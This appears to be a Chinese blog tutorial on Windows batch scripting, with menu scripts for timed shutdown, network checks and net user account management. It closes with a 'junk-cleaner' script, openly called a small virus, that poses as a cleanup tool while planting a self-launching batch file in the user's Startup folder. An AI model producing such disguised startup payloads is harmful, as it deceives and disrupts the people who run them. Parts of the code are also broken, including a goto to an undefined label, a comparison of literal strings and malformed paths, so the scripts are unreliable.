批处理命令

批处理命令

echo 输出或者打印

@echo off 关闭回显

title 设置DOS命令窗口标题

echo. 换行

set /p time= 设置输入变量

示例

set /p time=请输入关机时间:

%设置变量名称% 读取设置的变量

示例

shutdown -s -t %time%

pause 暂停

示例(上边命令综合使用)

@echo off
title 定时关机
echo =============================================================
echo.
echo					定时关机小程序
echo.
echo =============================================================
echo.
set /p time=请输入关机时间:
echo.
shutdown -s -t %time%
echo.
echo 设置关机成功!
echo.
echo 将在%time%(秒)后关机
pause

gaoto

示例

goto 后边接要直接运行的地方,和 :变量 一块使用

优化后的bat小程序

@echo off
title 简洁小程序
:mnue
cls
echo ==============================================
echo.
echo 			简洁小程序
echo.
echo ==============================================
echo.
echo 1.定时任务		2.ip相关	3.用户相关	4.退出
set /p num=请输入功能选项:
if "%num%" == "1" goto a
if "%num%" == "2" goto b
if "%num%" == "3" goto c
if "%num%" == "4" goto ae
echo.
echo 您输入有误,请重新输入!
echo.
pause
goto mnue

:a
cls
echo ==============================================
echo.
echo 			简洁-定时小功能
echo.
echo ==============================================
echo.

echo 1.定时关机 2.定时重启 3.取消定时 4.返回上一级 5.退出

set /p num1=请输入功能选项:

if %num1% == 1 goto aa
if %num1% == 2 goto ab
if %num1% == 3 goto ac
if %num1% == 4 goto ad
if %num1% == 5 goto ae

echo.
echo 您输入有误,请重新输入!
echo.
pause
goto a

:aa
set /p time=请输入关机时间:
shutdown -s -t %time%
echo 将在%time%(秒)后关机
echo.
pause
goto a

:ab
set /p time=请输入重启时间:
shutdown -r -t %time%
echo 将在%time%(秒)后重启
echo.
pause
goto a

:ac
shutdown -a
echo 取消定时成功!
echo.
pause
goto a

:ad
goto mnue

:ae
exit


:b
cls
echo ==============================================
echo.
echo 			简洁-ip小功能
echo.
echo ==============================================
echo.

echo 1.查看当前ip 2.重新获取ip 3.测试连通性 4.查看arp缓存 5.返回上一级 6.退出

set /p num2=请输入功能选项:

if %num2% == 1 goto ba
if %num2% == 2 goto bb
if %num2% == 3 goto bc
if %num2% == 4 goto bd
if %num2% == 5 goto ad
if %num2% == 6 goto ae

echo.
echo 您输入有误,请重新输入!
echo.
pause
goto b

:ba
ipconfig
echo.
pause
goto b

:bb
echo 开始执行......
ipconfig /release >nul
ping 127.0.0.1 -n 2 >nul
ping 127.0.0.1 -n 2 >nul
ping 127.0.0.1 -n 2 >nul
ipconfig /renew
echo.
echo 重新获取成功
echo.
pause
goto b

:bc
set /p pingnum=请输入测试ip:
ping %pingnum%
echo.
pause
goto b

:bd
arp -a
echo.
pause
goto b

:c
cls
echo ==============================================
echo.
echo 			简洁-用户小功能
echo.
echo ==============================================
echo.

echo 1.查看用户 2.添加用户 3.删除用户 4.停用/启用用户 5.用户过期时间 6.返回上一级 7.退出

set /p num3=请输入功能选项:

if %num3% == 1 goto ca
if %num3% == 2 goto cb
if %num3% == 3 goto cc
if %num3% == 4 goto cd
if %num3% == 5 goto ce
if %num3% == 6 goto ad
if %num3% == 7 goto ae

:ca
net user
echo.
pause
goto c

:cb
set /p adduser=请输入添加用户名:
set /p addpasswd=请输入添加用户名的密码:
set /p addpasswd1=请确认输入添加用户名的密码:

if addpasswd == addpasswd1 goto sddur
echo.
echo 两次密码输入不一致!请重新开始!
pause
goto c

:addur
net user %adduser% %addpasswd% /add
echo.
pause
goto c

:cc
set /p deluser=请输入要删除的帐户名称:
net user %deluser% /del
echo.
pause
goto c

:cd
set /p jun=停用还是启用(yes/no):

if %jun% == yes goto nt
if %jun% == no goto nt
echo.
echo 请输入yes/no!
pause
goto c

:nt
set /p useractiv=请输入帐户:

net user %useractiv% /active:%jun%
echo.
pause
goto c

:ce
set /p userexp=请输入帐户:
echo.
set /p year=请输入年:
echo.
set /p mon=请输入月(English):
echo.
set /p day=请输入日:

net user %userexp% /expires:%mon%,%day%,%year%

echo.
pause
goto c

下边代码不要在自己电脑使用,切记!!!

垃圾清理小病毒

重点:是将 start cmd和%0 写入到启动项里

​ %USERPROFILE% 系统变量,获取当前账户的绝对路径文件夹

@echo off
title 垃圾清理小程序
echo ==============================================
echo.
echo 			垃圾清理小程序
echo.
echo ==============================================
echo.
echo 正在清理中......

echo start cmd > C:Windows\windows.bat
echo %%0 >> C:windows\windows.bat

copy C:windows\windows.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

echo 清理完成,请重启计算机!

pause

今天你学废了吗!!!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
批处理命令教程PDF是一本介绍和教授批处理命令的电子书。批处理命令是一种用于自动化执行一系列计算机任务的编程语言。通过编写批处理脚本,用户可以一次性运行多个命令,而无需手动逐个输入。批处理命令可以在Windows系统中使用,用于自动化重复性任务,提高效率和准确性。 这本教程PDF提供了全面的批处理命令知识和技巧。首先,它介绍了批处理脚本编写的基本语法和规则。学习者可以了解如何写入命令、设置变量和运行条件语句。教程还提供了大量实例和示范代码,帮助读者更好地理解和掌握批处理命令的使用。 此外,教程还介绍了一些常用的批处理命令,如文件操作、目录管理、进程控制等。学习者将学会如何批量复制、移动、删除文件,如何创建、删除目录,以及如何管理后台进程等等。这些命令广泛应用于日常计算机操作和系统管理中,对于提高工作效率和简化任务流程非常有帮助。 教程PDF还提供了一些高级主题,如错误处理、循环控制和批处理脚本的调试技巧。这些主题对于扩展和优化批处理命令非常重要。学习者可以通过教程PDF深入了解这些主题,并将它们应用于实际项目中。 总之,批处理命令教程PDF是一本帮助读者全面掌握批处理命令的书籍。它提供了基础知识、实例代码和高级主题,帮助读者成为批处理命令的专家。无论是初学者还是有经验的用户,都可以通过这本教程PDF提高工作效率,简化任务流程,实现自动化操作。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值